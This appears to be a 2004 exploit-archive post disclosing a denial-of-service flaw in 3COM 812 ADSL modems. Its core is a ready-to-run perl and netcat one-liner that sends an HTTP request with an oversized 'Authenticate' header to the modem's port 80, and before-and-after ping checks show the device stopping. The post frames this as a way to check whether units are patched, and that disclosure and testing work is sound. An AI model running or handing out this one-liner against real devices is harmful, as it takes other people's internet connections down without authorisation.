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allegrodos.txt

allegrodos.txt
Posted May 24, 2004
Authored by Seth Alan Woolley

Amusing simple one-liner that shows that 3COM 812 ADSL modems are still susceptible to 4 year old denial of service attacks.

tags | exploit, denial of service
SHA-256 | 26aae1a7af5d89cbe48405ff5017b10bf4bc1bca154fd25e8194f64e0b22955e

allegrodos.txt

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The description made it easy to create this one.  Needed this to confirm
if some 2.10-branded products were in fact patched and warranted
replacing. Considering there was four years of warning and there are
still tons of boxes with this problem, please, people, get your systems
pen-tested.

http://www.securityfocus.com/bid/1290/discussion/
http://www.securityfocus.com/bid/1290/exploit/ (none yet)
http://www.allegrosoft.com/rpproduct.html

$ ip_address="some.ip.add.ress"
$ ping $ip_address # works

the one-liner:
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80

$ ping $ip_address # doesn't work

Tested against a 3com 812 adsl modem.

This email is in the Public Domain.

--
Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized
Key id EF10E21A = 36AD 8A92 8499 8439 E6A8 3724 D437 AF5D EF10 E21A
http://smgl.positivism.org:11371/pks/lookup?op=get&search=0xEF10E21A
Security Team Leader Source Mage GNU/Linux http://www.sourcemage.org

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